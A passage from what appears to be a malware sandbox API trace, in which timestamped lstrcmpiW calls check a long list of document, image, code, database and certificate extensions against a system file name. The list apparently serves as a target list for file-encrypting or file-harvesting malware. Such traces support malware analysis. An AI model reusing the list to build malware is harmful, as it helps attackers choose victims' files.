	[0153.440] lstrcmpiW (lpString1=".ai4", lpString2="LOG1") returned -1
	[0153.440] lstrlenW (lpString=".ai5") returned 4
	[0153.440] lstrcmpiW (lpString1=".ai5", lpString2="LOG1") returned -1
	[0153.440] lstrlenW (lpString=".ai6") returned 4
	[0153.440] lstrcmpiW (lpString1=".ai6", lpString2="LOG1") returned -1
	[0153.440] lstrlenW (lpString=".ai7") returned 4
	[0153.441] lstrcmpiW (lpString1=".ai7", lpString2="LOG1") returned -1
	[0153.441] lstrlenW (lpString=".ai8") returned 4
	[0153.441] lstrcmpiW (lpString1=".ai8", lpString2="LOG1") returned -1
	[0153.441] lstrlenW (lpString=".anim") returned 5
	[0153.441] lstrcmpiW (lpString1=".anim", lpString2=".LOG1") returned -1
	[0153.441] lstrlenW (lpString=".arw") returned 4
	[0153.441] lstrcmpiW (lpString1=".arw", lpString2="LOG1") returned -1
	[0153.441] lstrlenW (lpString=".as") returned 3
	[0153.441] lstrcmpiW (lpString1=".as", lpString2="OG1") returned -1
	[0153.441] lstrlenW (lpString=".asa") returned 4
	[0153.441] lstrcmpiW (lpString1=".asa", lpString2="LOG1") returned -1
	[0153.441] lstrlenW (lpString=".asc") returned 4
	[0153.441] lstrcmpiW (lpString1=".asc", lpString2="LOG1") returned -1
	[0153.441] lstrlenW (lpString=".ascx") returned 5
	[0153.441] lstrcmpiW (lpString1=".ascx", lpString2=".LOG1") returned -1
	[0153.441] lstrlenW (lpString=".asm") returned 4
	[0153.441] lstrcmpiW (lpString1=".asm", lpString2="LOG1") returned -1
	[0153.441] lstrlenW (lpString=".asmx") returned 5
	[0153.441] lstrcmpiW (lpString1=".asmx", lpString2=".LOG1") returned -1
	[0153.441] lstrlenW (lpString=".asp") returned 4
	[0153.441] lstrcmpiW (lpString1=".asp", lpString2="LOG1") returned -1
	[0153.441] lstrlenW (lpString=".aspx") returned 5
	[0153.441] lstrcmpiW (lpString1=".aspx", lpString2=".LOG1") returned -1
	[0153.441] lstrlenW (lpString=".asr") returned 4
	[0153.441] lstrcmpiW (lpString1=".asr", lpString2="LOG1") returned -1
	[0153.441] lstrlenW (lpString=".asx") returned 4
	[0153.441] lstrcmpiW (lpString1=".asx", lpString2="LOG1") returned -1
	[0153.441] lstrlenW (lpString=".avi") returned 4
	[0153.441] lstrcmpiW (lpString1=".avi", lpString2="LOG1") returned -1
	[0153.441] lstrlenW (lpString=".avs") returned 4
	[0153.442] lstrcmpiW (lpString1=".avs", lpString2="LOG1") returned -1
	[0153.442] lstrlenW (lpString=".backup") returned 7
	[0153.442] lstrcmpiW (lpString1=".backup", lpString2="CD.LOG1") returned -1
	[0153.442] lstrlenW (lpString=".bak") returned 4
	[0153.442] lstrcmpiW (lpString1=".bak", lpString2="LOG1") returned -1
	[0153.442] lstrlenW (lpString=".bay") returned 4
	[0153.442] lstrcmpiW (lpString1=".bay", lpString2="LOG1") returned -1
	[0153.442] lstrlenW (lpString=".bd") returned 3
	[0153.442] lstrcmpiW (lpString1=".bd", lpString2="OG1") returned -1
	[0153.442] lstrlenW (lpString=".bin") returned 4
	[0153.442] lstrcmpiW (lpString1=".bin", lpString2="LOG1") returned -1
	[0153.442] lstrlenW (lpString=".bmp") returned 4
	[0153.442] lstrcmpiW (lpString1=".bmp", lpString2="LOG1") returned -1
	[0153.442] lstrlenW (lpString=".bz2") returned 4
	[0153.442] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1
	[0153.442] lstrlenW (lpString=".c") returned 2
	[0153.442] lstrcmpiW (lpString1=".c", lpString2="G1") returned -1
	[0153.442] lstrlenW (lpString=".cdr") returned 4
	[0153.442] lstrcmpiW (lpString1=".cdr", lpString2="LOG1") returned -1
	[0153.442] lstrlenW (lpString=".cer") returned 4
	[0153.442] lstrcmpiW (lpString1=".cer", lpString2="LOG1") returned -1
	[0153.442] lstrlenW (lpString=".cf") returned 3
	[0153.442] lstrcmpiW (lpString1=".cf", lpString2="OG1") returned -1
	[0153.442] lstrlenW (lpString=".cfc") returned 4
	[0153.442] lstrcmpiW (lpString1=".cfc", lpString2="LOG1") returned -1
	[0153.442] lstrlenW (lpString=".cfm") returned 4
	[0153.442] lstrcmpiW (lpString1=".cfm", lpString2="LOG1") returned -1
	[0153.442] lstrlenW (lpString=".cfml") returned 5
	[0153.442] lstrcmpiW (lpString1=".cfml", lpString2=".LOG1") returned -1
	[0153.442] lstrlenW (lpString=".cfu") returned 4
	[0153.442] lstrcmpiW (lpString1=".cfu", lpString2="LOG1") returned -1
	[0153.442] lstrlenW (lpString=".chm") returned 4
	[0153.442] lstrcmpiW (lpString1=".chm", lpString2="LOG1") returned -1
	[0153.442] lstrlenW (lpString=".cin") returned 4
	[0153.442] lstrcmpiW (lpString1=".cin", lpString2="LOG1") returned -1
	[0153.442] lstrlenW (lpString=".class") returned 6
	[0153.442] lstrcmpiW (lpString1=".class", lpString2="D.LOG1") returned -1
	[0153.442] lstrlenW (lpString=".clx") returned 4
	[0153.443] lstrcmpiW (lpString1=".clx", lpString2="LOG1") returned -1
	[0153.443] lstrlenW (lpString=".config") returned 7
	[0153.443] lstrcmpiW (lpString1=".config", lpString2="CD.LOG1") returned -1
	[0153.443] lstrlenW (lpString=".cpp") returned 4
	[0153.443] lstrcmpiW (lpString1=".cpp", lpString2="LOG1") returned -1
	[0153.443] lstrlenW (lpString=".cr2") returned 4
	[0153.443] lstrcmpiW (lpString1=".cr2", lpString2="LOG1") returned -1
	[0153.443] lstrlenW (lpString=".crt") returned 4
	[0153.443] lstrcmpiW (lpString1=".crt", lpString2="LOG1") returned -1
	[0153.443] lstrlenW (lpString=".crw") returned 4
	[0153.443] lstrcmpiW (lpString1=".crw", lpString2="LOG1") returned -1
	[0153.443] lstrlenW (lpString=".cs") returned 3
	[0153.443] lstrcmpiW (lpString1=".cs", lpString2="OG1") returned -1
	[0153.443] lstrlenW (lpString=".css") returned 4
	[0153.443] lstrcmpiW (lpString1=".css", lpString2="LOG1") returned -1
	[0153.443] lstrlenW (lpString=".csv") returned 4
	[0153.443] lstrcmpiW (lpString1=".csv", lpString2="LOG1") returned -1
	[0153.443] lstrlenW (lpString=".cub") returned 4
	[0153.443] lstrcmpiW (lpString1=".cub", lpString2="LOG1") returned -1
	[0153.443] lstrlenW (lpString=".dae") returned 4
	[0153.443] lstrcmpiW (lpString1=".dae", lpString2="LOG1") returned -1
	[0153.443] lstrlenW (lpString=".dat") returned 4
	[0153.443] lstrcmpiW (lpString1=".dat", lpString2="LOG1") returned -1
	[0153.443] lstrlenW (lpString=".db") returned 3
	[0153.443] lstrcmpiW (lpString1=".db", lpString2="OG1") returned -1
	[0153.443] lstrlenW (lpString=".dbf") returned 4
	[0153.443] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1
	[0153.443] lstrlenW (lpString=".dbx") returned 4
	[0153.443] lstrcmpiW (lpString1=".dbx", lpString2="LOG1") returned -1
	[0153.443] lstrlenW (lpString=".dc3") returned 4
	[0153.443] lstrcmpiW (lpString1=".dc3", lpString2="LOG1") returned -1
	[0153.443] lstrlenW (lpString=".dcm") returned 4
	[0153.443] lstrcmpiW (lpString1=".dcm", lpString2="LOG1") returned -1
	[0153.443] lstrlenW (lpString=".dcr") returned 4
	[0153.443] lstrcmpiW (lpString1=".dcr", lpString2="LOG1") returned -1
	[0153.443] lstrlenW (lpString=".der") returned 4
	[0153.443] lstrcmpiW (lpString1=".der", lpString2="LOG1") returned -1
	[0153.443] lstrlenW (lpString=".dib") returned 4
	[0153.444] lstrcmpiW (lpString1=".dib", lpString2="LOG1") returned -1
	[0153.444] lstrlenW (lpString=".dic") returned 4
	[0153.444] lstrcmpiW (lpString1=".dic", lpString2="LOG1") returned -1
	[0153.444] lstrlenW (lpString=".dif") returned 4
	[0153.444] lstrcmpiW (lpString1=".dif", lpString2="LOG1") returned -1
	[0153.444] lstrlenW (lpString=".divx") returned 5
	[0153.444] lstrcmpiW (lpString1=".divx", lpString2=".LOG1") returned -1
	[0153.444] lstrlenW (lpString=".djvu") returned 5
	[0153.444] lstrcmpiW (lpString1=".djvu", lpString2=".LOG1") returned -1
	[0153.444] lstrlenW (lpString=".dng") returned 4
	[0153.444] lstrcmpiW (lpString1=".dng", lpString2="LOG1") returned -1
	[0153.444] lstrlenW (lpString=".doc") returned 4
	[0153.444] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1
	[0153.444] lstrlenW (lpString=".docm") returned 5
	[0153.444] lstrcmpiW (lpString1=".docm", lpString2=".LOG1") returned -1
	[0153.444] lstrlenW (lpString=".docx") returned 5
	[0153.444] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1
	[0153.444] lstrlenW (lpString=".dot") returned 4
	[0153.444] lstrcmpiW (lpString1=".dot", lpString2="LOG1") returned -1
	[0153.444] lstrlenW (lpString=".dotm") returned 5
	[0153.444] lstrcmpiW (lpString1=".dotm", lpString2=".LOG1") returned -1
	[0153.444] lstrlenW (lpString=".dotx") returned 5
	[0153.444] lstrcmpiW (lpString1=".dotx", lpString2=".LOG1") returned -1
	[0153.444] lstrlenW (lpString=".dpx") returned 4
	[0153.444] lstrcmpiW (lpString1=".dpx", lpString2="LOG1") returned -1
	[0153.444] lstrlenW (lpString=".dqy") returned 4
	[0153.444] lstrcmpiW (lpString1=".dqy", lpString2="LOG1") returned -1
	[0153.444] lstrlenW (lpString=".dsn") returned 4
	[0153.444] lstrcmpiW (lpString1=".dsn", lpString2="LOG1") returned -1
	[0153.444] lstrlenW (lpString=".dt") returned 3
	[0153.444] lstrcmpiW (lpString1=".dt", lpString2="OG1") returned -1
	[0153.444] lstrlenW (lpString=".dtd") returned 4
	[0153.444] lstrcmpiW (lpString1=".dtd", lpString2="LOG1") returned -1
	[0153.444] lstrlenW (lpString=".dwg") returned 4
	[0153.444] lstrcmpiW (lpString1=".dwg", lpString2="LOG1") returned -1
	[0153.444] lstrlenW (lpString=".dwt") returned 4
	[0153.444] lstrcmpiW (lpString1=".dwt", lpString2="LOG1") returned -1
	[0153.444] lstrlenW (lpString=".dx") returned 3
	[0153.444] lstrcmpiW (lpString1=".dx", lpString2="OG1") returned -1
	[0153.445] lstrlenW (lpString=".dxf") returned 4
	[0153.445] lstrcmpiW (lpString1=".dxf", lpString2="LOG1") returned -1
	[0153.445] lstrlenW (lpString=".edml") returned 5
	[0153.445] lstrcmpiW (lpString1=".edml", lpString2=".LOG1") returned -1
	[0153.445] lstrlenW (lpString=".efd") returned 4
	[0153.445] lstrcmpiW (lpString1=".efd", lpString2="LOG1") returned -1
	[0153.445] lstrlenW (lpString=".elf") returned 4
	[0153.445] lstrcmpiW (lpString1=".elf", lpString2="LOG1") returned -1
	[0153.445] lstrlenW (lpString=".emf") returned 4
	[0153.445] lstrcmpiW (lpString1=".emf", lpString2="LOG1") returned -1
	[0153.445] lstrlenW (lpString=".emz") returned 4
	[0153.445] lstrcmpiW (lpString1=".emz", lpString2="LOG1") returned -1
	[0153.445] lstrlenW (lpString=".epf") returned 4
	[0153.445] lstrcmpiW (lpString1=".epf", lpString2="LOG1") returned -1
	[0153.445] lstrlenW (lpString=".eps") returned 4
	[0153.445] lstrcmpiW (lpString1=".eps", lpString2="LOG1") returned -1
	[0153.445] lstrlenW (lpString=".epsf") returned 5
	[0153.445] lstrcmpiW (lpString1=".epsf", lpString2=".LOG1") returned -1
	[0153.445] lstrlenW (lpString=".epsp") returned 5
	[0153.445] lstrcmpiW (lpString1=".epsp", lpString2=".LOG1") returned -1
	[0153.445] lstrlenW (lpString=".erf") returned 4
	[0153.445] lstrcmpiW (lpString1=".erf", lpString2="LOG1") returned -1
	[0153.445] lstrlenW (lpString=".exr") returned 4
	[0153.445] lstrcmpiW (lpString1=".exr", lpString2="LOG1") returned -1
	[0153.445] lstrlenW (lpString=".f4v") returned 4
	[0153.445] lstrcmpiW (lpString1=".f4v", lpString2="LOG1") returned -1
	[0153.445] lstrlenW (lpString=".fido") returned 5
	[0153.445] lstrcmpiW (lpString1=".fido", lpString2=".LOG1") returned -1
	[0153.445] lstrlenW (lpString=".flm") returned 4
	[0153.445] lstrcmpiW (lpString1=".flm", lpString2="LOG1") returned -1
	[0153.445] lstrlenW (lpString=".flv") returned 4
	[0153.445] lstrcmpiW (lpString1=".flv", lpString2="LOG1") returned -1
	[0153.445] lstrlenW (lpString=".frm") returned 4
	[0153.445] lstrcmpiW (lpString1=".frm", lpString2="LOG1") returned -1
	[0153.445] lstrlenW (lpString=".fxg") returned 4
	[0153.445] lstrcmpiW (lpString1=".fxg", lpString2="LOG1") returned -1
	[0153.445] lstrlenW (lpString=".geo") returned 4
	[0153.445] lstrcmpiW (lpString1=".geo", lpString2="LOG1") returned -1
	[0153.445] lstrlenW (lpString=".gif") returned 4
	[0153.446] lstrcmpiW (lpString1=".gif", lpString2="LOG1") returned -1
	[0153.446] lstrlenW (lpString=".grs") returned 4
	[0153.446] lstrcmpiW (lpString1=".grs", lpString2="LOG1") returned -1
	[0153.446] lstrlenW (lpString=".gz") returned 3
	[0153.446] lstrcmpiW (lpString1=".gz", lpString2="OG1") returned -1
	[0153.446] lstrlenW (lpString=".h") returned 2
	[0153.446] lstrcmpiW (lpString1=".h", lpString2="G1") returned -1
	[0153.446] lstrlenW (lpString=".hdr") returned 4
	[0153.446] lstrcmpiW (lpString1=".hdr", lpString2="LOG1") returned -1
	[0153.446] lstrlenW (lpString=".hpp") returned 4
	[0153.446] lstrcmpiW (lpString1=".hpp", lpString2="LOG1") returned -1
	[0153.446] lstrlenW (lpString=".hta") returned 4
	[0153.446] lstrcmpiW (lpString1=".hta", lpString2="LOG1") returned -1
	[0153.446] lstrlenW (lpString=".htc") returned 4
	[0153.446] lstrcmpiW (lpString1=".htc", lpString2="LOG1") returned -1
	[0153.446] lstrlenW (lpString=".htm") returned 4
	[0153.446] lstrcmpiW (lpString1=".htm", lpString2="LOG1") returned -1
	[0153.446] lstrlenW (lpString=".html") returned 5
	[0153.446] lstrcmpiW (lpString1=".html", lpString2=".LOG1") returned -1
	[0153.446] lstrlenW (lpString=".icb") returned 4
	[0153.446] lstrcmpiW (lpString1=".icb", lpString2="LOG1") returned -1
	[0153.446] lstrlenW (lpString=".ics") returned 4
	[0153.446] lstrcmpiW (lpString1=".ics", lpString2="LOG1") returned -1
	[0153.446] lstrlenW (lpString=".iff") returned 4
	[0153.446] lstrcmpiW (lpString1=".iff", lpString2="LOG1") returned -1
	[0153.446] lstrlenW (lpString=".inc") returned 4
	[0153.446] lstrcmpiW (lpString1=".inc", lpString2="LOG1") returned -1
	[0153.446] lstrlenW (lpString=".indd") returned 5
	[0153.446] lstrcmpiW (lpString1=".indd", lpString2=".LOG1") returned -1
	[0153.446] lstrlenW (lpString=".ini") returned 4
	[0153.446] lstrcmpiW (lpString1=".ini", lpString2="LOG1") returned -1
	[0153.446] lstrlenW (lpString=".iqy") returned 4
	[0153.446] lstrcmpiW (lpString1=".iqy", lpString2="LOG1") returned -1
	[0153.446] lstrlenW (lpString=".j2c") returned 4
	[0153.446] lstrcmpiW (lpString1=".j2c", lpString2="LOG1") returned -1
	[0153.446] lstrlenW (lpString=".j2k") returned 4
	[0153.446] lstrcmpiW (lpString1=".j2k", lpString2="LOG1") returned -1
	[0153.446] lstrlenW (lpString=".java") returned 5
	[0153.447] lstrcmpiW (lpString1=".java", lpString2=".LOG1") returned -1
	[0153.447] lstrlenW (lpString=".jp2") returned 4
	[0153.447] lstrcmpiW (lpString1=".jp2", lpString2="LOG1") returned -1
	[0153.447] lstrlenW (lpString=".jpc") returned 4
	[0153.447] lstrcmpiW (lpString1=".jpc", lpString2="LOG1") returned -1
	[0153.447] lstrlenW (lpString=".jpe") returned 4
	[0153.447] lstrcmpiW (lpString1=".jpe", lpString2="LOG1") returned -1
	[0153.447] lstrlenW (lpString=".jpeg") returned 5
	[0153.447] lstrcmpiW (lpString1=".jpeg", lpString2=".LOG1") returned -1
	[0153.447] lstrlenW (lpString=".jpf") returned 4
	[0153.447] lstrcmpiW (lpString1=".jpf", lpString2="LOG1") returned -1
	[0153.447] lstrlenW (lpString=".jpg") returned 4
	[0153.447] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1
	[0153.447] lstrlenW (lpString=".jpx") returned 4
	[0153.447] lstrcmpiW (lpString1=".jpx", lpString2="LOG1") returned -1
	[0153.447] lstrlenW (lpString=".js") returned 3
	[0153.447] lstrcmpiW (lpString1=".js", lpString2="OG1") returned -1
	[0153.447] lstrlenW (lpString=".jsf") returned 4
	[0153.447] lstrcmpiW (lpString1=".jsf", lpString2="LOG1") returned -1
	[0153.447] lstrlenW (lpString=".json") returned 5
	[0153.447] lstrcmpiW (lpString1=".json", lpString2=".LOG1") returned -1
	[0153.447] lstrlenW (lpString=".jsp") returned 4
	[0153.447] lstrcmpiW (lpString1=".jsp", lpString2="LOG1") returned -1
	[0153.447] lstrlenW (lpString=".kdc") returned 4
	[0153.447] lstrcmpiW (lpString1=".kdc", lpString2="LOG1") returned -1
	[0153.447] lstrlenW (lpString=".kmz") returned 4
	[0153.447] lstrcmpiW (lpString1=".kmz", lpString2="LOG1") returned -1
	[0153.447] lstrlenW (lpString=".kwm") returned 4
	[0153.447] lstrcmpiW (lpString1=".kwm", lpString2="LOG1") returned -1
	[0153.447] lstrlenW (lpString=".lasso") returned 6
	[0153.447] lstrcmpiW (lpString1=".lasso", lpString2="D.LOG1") returned -1
	[0153.447] lstrlenW (lpString=".lbi") returned 4
	[0153.447] lstrcmpiW (lpString1=".lbi", lpString2="LOG1") returned -1
	[0153.447] lstrlenW (lpString=".lgf") returned 4
	[0153.447] lstrcmpiW (lpString1=".lgf", lpString2="LOG1") returned -1
	[0153.447] lstrlenW (lpString=".lgp") returned 4
	[0153.447] lstrcmpiW (lpString1=".lgp", lpString2="LOG1") returned -1
	[0153.447] lstrlenW (lpString=".log") returned 4
	[0153.447] lstrcmpiW (lpString1=".log", lpString2="LOG1") returned -1
	[0153.448] lstrlenW (lpString=".m1v") returned 4
	[0153.448] lstrcmpiW (lpString1=".m1v", lpString2="LOG1") returned -1
	[0153.448] lstrlenW (lpString=".m4a") returned 4
	[0153.448] lstrcmpiW (lpString1=".m4a", lpString2="LOG1") returned -1
	[0153.448] lstrlenW (lpString=".m4v") returned 4
	[0153.448] lstrcmpiW (lpString1=".m4v", lpString2="LOG1") returned -1
	[0153.448] lstrlenW (lpString=".max") returned 4
	[0153.448] lstrcmpiW (lpString1=".max", lpString2="LOG1") returned -1
	[0153.448] lstrlenW (lpString=".md") returned 3
	[0153.448] lstrcmpiW (lpString1=".md", lpString2="OG1") returned -1
	[0153.448] lstrlenW (lpString=".mda") returned 4
	[0153.448] lstrcmpiW (lpString1=".mda", lpString2="LOG1") returned -1
	[0153.448] lstrlenW (lpString=".mdb") returned 4
	[0153.448] lstrcmpiW (lpString1=".mdb", lpString2="LOG1") returned -1
	[0153.448] lstrlenW (lpString=".mde") returned 4
	[0153.448] lstrcmpiW (lpString1=".mde", lpString2="LOG1") returned -1
	[0153.448] lstrlenW (lpString=".mdf") returned 4
	[0153.448] lstrcmpiW (lpString1=".mdf", lpString2="LOG1") returned -1
	[0153.448] lstrlenW (lpString=".mdw") returned 4
	[0153.448] lstrcmpiW (lpString1=".mdw", lpString2="LOG1") returned -1
	[0153.448] lstrlenW (lpString=".mef") returned 4
	[0153.448] lstrcmpiW (lpString1=".mef", lpString2="LOG1") returned -1
	[0153.448] lstrlenW (lpString=".mft") returned 4
	[0153.448] lstrcmpiW (lpString1=".mft", lpString2="LOG1") returned -1
	[0153.448] lstrlenW (lpString=".mfw") returned 4
	[0153.448] lstrcmpiW (lpString1=".mfw", lpString2="LOG1") returned -1
	[0153.448] lstrlenW (lpString=".mht") returned 4
	[0153.448] lstrcmpiW (lpString1=".mht", lpString2="LOG1") returned -1
	[0153.448] lstrlenW (lpString=".mhtml") returned 6
	[0153.448] lstrcmpiW (lpString1=".mhtml", lpString2="D.LOG1") returned -1
	[0153.448] lstrlenW (lpString=".mka") returned 4
	[0153.448] lstrcmpiW (lpString1=".mka", lpString2="LOG1") returned -1
	[0153.448] lstrlenW (lpString=".mkidx") returned 6
	[0153.448] lstrcmpiW (lpString1=".mkidx", lpString2="D.LOG1") returned -1
	[0153.448] lstrlenW (lpString=".mkv") returned 4
	[0153.448] lstrcmpiW (lpString1=".mkv", lpString2="LOG1") returned -1
	[0153.448] lstrlenW (lpString=".mos") returned 4
	[0153.448] lstrcmpiW (lpString1=".mos", lpString2="LOG1") returned -1
	[0153.449] lstrlenW (lpString=".mov") returned 4
	[0153.449] lstrcmpiW (lpString1=".mov", lpString2="LOG1") returned -1
	[0153.449] lstrlenW (lpString=".mp3") returned 4
	[0153.449] lstrcmpiW (lpString1=".mp3", lpString2="LOG1") returned -1
	[0153.449] lstrlenW (lpString=".mp4") returned 4
	[0153.449] lstrcmpiW (lpString1=".mp4", lpString2="LOG1") returned -1
	[0153.449] lstrlenW (lpString=".mpeg") returned 5
	[0153.449] lstrcmpiW (lpString1=".mpeg", lpString2=".LOG1") returned 1
	[0153.449] lstrlenW (lpString=".mpg") returned 4
	[0153.449] lstrcmpiW (lpString1=".mpg", lpString2="LOG1") returned -1
	[0153.449] lstrlenW (lpString=".mpv") returned 4
	[0153.449] lstrcmpiW (lpString1=".mpv", lpString2="LOG1") returned -1
	[0153.449] lstrlenW (lpString=".mrw") returned 4
	[0153.449] lstrcmpiW (lpString1=".mrw", lpString2="LOG1") returned -1
	[0153.449] lstrlenW (lpString=".msg") returned 4
	[0153.449] lstrcmpiW (lpString1=".msg", lpString2="LOG1") returned -1
	[0153.449] lstrlenW (lpString=".mxl") returned 4
	[0153.449] lstrcmpiW (lpString1=".mxl", lpString2="LOG1") returned -1
	[0153.449] lstrlenW (lpString=".myd") returned 4
	[0153.449] lstrcmpiW (lpString1=".myd", lpString2="LOG1") returned -1
	[0153.449] lstrlenW (lpString=".myi") returned 4
	[0153.449] lstrcmpiW (lpString1=".myi", lpString2="LOG1") returned -1
	[0153.449] lstrlenW (lpString=".nef") returned 4
	[0153.449] lstrcmpiW (lpString1=".nef", lpString2="LOG1") returned -1
	[0153.449] lstrlenW (lpString=".nrw") returned 4
	[0153.449] lstrcmpiW (lpString1=".nrw", lpString2="LOG1") returned -1
	[0153.449] lstrlenW (lpString=".obj") returned 4
	[0153.449] lstrcmpiW (lpString1=".obj", lpString2="LOG1") returned -1
	[0153.449] lstrlenW (lpString=".odb") returned 4
	[0153.449] lstrcmpiW (lpString1=".odb", lpString2="LOG1") returned -1
	[0153.449] lstrlenW (lpString=".odc") returned 4
	[0153.449] lstrcmpiW (lpString1=".odc", lpString2="LOG1") returned -1
	[0153.449] lstrlenW (lpString=".odm") returned 4
	[0153.449] lstrcmpiW (lpString1=".odm", lpString2="LOG1") returned -1
	[0153.449] lstrlenW (lpString=".odp") returned 4
	[0153.449] lstrcmpiW (lpString1=".odp", lpString2="LOG1") returned -1
	[0153.449] lstrlenW (lpString=".ods") returned 4
	[0153.449] lstrcmpiW (lpString1=".ods", lpString2="LOG1") returned -1
	[0153.449] lstrlenW (lpString=".oft") returned 4
	[0153.450] lstrcmpiW (lpString1=".oft", lpString2="LOG1") returned -1
	[0153.450] lstrlenW (lpString=".one") returned 4
	[0153.450] lstrcmpiW (lpString1=".one", lpString2="LOG1") returned -1
	[0153.450] lstrlenW (lpString=".onepkg") returned 7
	[0153.450] lstrcmpiW (lpString1=".onepkg", lpString2="CD.LOG1") returned -1
	[0153.450] lstrlenW (lpString=".onetoc2") returned 8
	[0153.450] lstrcmpiW (lpString1=".onetoc2", lpString2="BCD.LOG1") returned -1
	[0153.450] lstrlenW (lpString=".opt") returned 4
	[0153.450] lstrcmpiW (lpString1=".opt", lpString2="LOG1") returned -1
	[0153.450] lstrlenW (lpString=".oqy") returned 4
	[0153.450] lstrcmpiW (lpString1=".oqy", lpString2="LOG1") returned -1
	[0153.450] lstrlenW (lpString=".orf") returned 4
	[0153.450] lstrcmpiW (lpString1=".orf", lpString2="LOG1") returned -1
	[0153.450] lstrlenW (lpString=".p12") returned 4
	[0153.450] lstrcmpiW (lpString1=".p12", lpString2="LOG1") returned -1
	[0153.450] lstrlenW (lpString=".p7b") returned 4
	[0153.450] lstrcmpiW (lpString1=".p7b", lpString2="LOG1") returned -1
	[0153.450] lstrlenW (lpString=".p7c") returned 4
	[0153.450] lstrcmpiW (lpString1=".p7c", lpString2="LOG1") returned -1
	[0153.450] lstrlenW (lpString=".pam") returned 4
	[0153.450] lstrcmpiW (lpString1=".pam", lpString2="LOG1") returned -1
	[0153.450] lstrlenW (lpString=".pbm") returned 4
	[0153.450] lstrcmpiW (lpString1=".pbm", lpString2="LOG1") returned -1
	[0153.450] lstrlenW (lpString=".pct") returned 4
	[0153.450] lstrcmpiW (lpString1=".pct", lpString2="LOG1") returned -1
	[0153.450] lstrlenW (lpString=".pcx") returned 4
	[0153.450] lstrcmpiW (lpString1=".pcx", lpString2="LOG1") returned -1
	[0153.450] lstrlenW (lpString=".pdd") returned 4
	[0153.450] lstrcmpiW (lpString1=".pdd", lpString2="LOG1") returned -1
	[0153.450] lstrlenW (lpString=".pdf") returned 4
	[0153.450] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1
	[0153.450] lstrlenW (lpString=".pdp") returned 4
	[0153.450] lstrcmpiW (lpString1=".pdp", lpString2="LOG1") returned -1
	[0153.450] lstrlenW (lpString=".pef") returned 4
	[0153.450] lstrcmpiW (lpString1=".pef", lpString2="LOG1") returned -1
	[0153.450] lstrlenW (lpString=".pem") returned 4
	[0153.450] lstrcmpiW (lpString1=".pem", lpString2="LOG1") returned -1
	[0153.450] lstrlenW (lpString=".pff") returned 4
	[0153.450] lstrcmpiW (lpString1=".pff", lpString2="LOG1") returned -1
	[0153.451] lstrlenW (lpString=".pfm") returned 4
	[0153.451] lstrcmpiW (lpString1=".pfm", lpString2="LOG1") returned -1
	[0153.451] lstrlenW (lpString=".pfx") returned 4
	[0153.451] lstrcmpiW (lpString1=".pfx", lpString2="LOG1") returned -1
	[0153.451] lstrlenW (lpString=".pgm") returned 4
	[0153.451] lstrcmpiW (lpString1=".pgm", lpString2="LOG1") returned -1
	[0153.451] lstrlenW (lpString=".php") returned 4
	[0153.451] lstrcmpiW (lpString1=".php", lpString2="LOG1") returned -1
	[0153.451] lstrlenW (lpString=".php3") returned 5
	[0153.451] lstrcmpiW (lpString1=".php3", lpString2=".LOG1") returned 1
	[0153.451] lstrlenW (lpString=".php4") returned 5
	[0153.451] lstrcmpiW (lpString1=".php4", lpString2=".LOG1") returned 1
	[0153.451] lstrlenW (lpString=".php5") returned 5
	[0153.451] lstrcmpiW (lpString1=".php5", lpString2=".LOG1") returned 1
	[0153.451] lstrlenW (lpString=".phtml") returned 6
	[0153.451] lstrcmpiW (lpString1=".phtml", lpString2="D.LOG1") returned -1
	[0153.451] lstrlenW (lpString=".pict") returned 5
	[0153.451] lstrcmpiW (lpString1=".pict", lpString2=".LOG1") returned 1
	[0153.451] lstrlenW (lpString=".pl") returned 3
	[0153.451] lstrcmpiW (lpString1=".pl", lpString2="OG1") returned -1
	[0153.451] lstrlenW (lpString=".pls") returned 4
	[0153.451] lstrcmpiW (lpString1=".pls", lpString2="LOG1") returned -1
	[0153.451] lstrlenW (lpString=".pm") returned 3
	[0153.451] lstrcmpiW (lpString1=".pm", lpString2="OG1") returned -1
	[0153.451] lstrlenW (lpString=".png") returned 4
	[0153.451] lstrcmpiW (lpString1=".png", lpString2="LOG1") returned -1
	[0153.451] lstrlenW (lpString=".pnm") returned 4
	[0153.451] lstrcmpiW (lpString1=".pnm", lpString2="LOG1") returned -1
	[0153.451] lstrlenW (lpString=".pot") returned 4
	[0153.451] lstrcmpiW (lpString1=".pot", lpString2="LOG1") returned -1
	[0153.451] lstrlenW (lpString=".potm") returned 5
	[0153.451] lstrcmpiW (lpString1=".potm", lpString2=".LOG1") returned 1
	[0153.451] lstrlenW (lpString=".potx") returned 5
	[0153.451] lstrcmpiW (lpString1=".potx", lpString2=".LOG1") returned 1
	[0153.451] lstrlenW (lpString=".ppa") returned 4
	[0153.451] lstrcmpiW (lpString1=".ppa", lpString2="LOG1") returned -1
	[0153.451] lstrlenW (lpString=".ppam") returned 5
	[0153.451] lstrcmpiW (lpString1=".ppam", lpString2=".LOG1") returned 1
	[0153.451] lstrlenW (lpString=".ppm") returned 4
	[0153.452] lstrcmpiW (lpString1=".ppm", lpString2="LOG1") returned -1
	[0153.452] lstrlenW (lpString=".pps") returned 4
	[0153.452] lstrcmpiW (lpString1=".pps", lpString2="LOG1") returned -1
	[0153.452] lstrlenW (lpString=".ppsm") returned 5
	[0153.452] lstrcmpiW (lpString1=".ppsm", lpString2=".LOG1") returned 1
	[0153.452] lstrlenW (lpString=".ppt") returned 4
	[0153.452] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1
	[0153.452] lstrlenW (lpString=".pptm") returned 5
	[0153.452] lstrcmpiW (lpString1=".pptm", lpString2=".LOG1") returned 1
	[0153.452] lstrlenW (lpString=".pptx") returned 5
	[0153.452] lstrcmpiW (lpString1=".pptx", lpString2=".LOG1") returned 1
	[0153.452] lstrlenW (lpString=".prn") returned 4
	[0153.452] lstrcmpiW (lpString1=".prn", lpString2="LOG1") returned -1
	[0153.452] lstrlenW (lpString=".ps") returned 3
	[0153.452] lstrcmpiW (lpString1=".ps", lpString2="OG1") returned -1
	[0153.452] lstrlenW (lpString=".psb") returned 4
	[0153.452] lstrcmpiW (lpString1=".psb", lpString2="LOG1") returned -1
	[0153.452] lstrlenW (lpString=".psd") returned 4
	[0153.452] lstrcmpiW (lpString1=".psd", lpString2="LOG1") returned -1
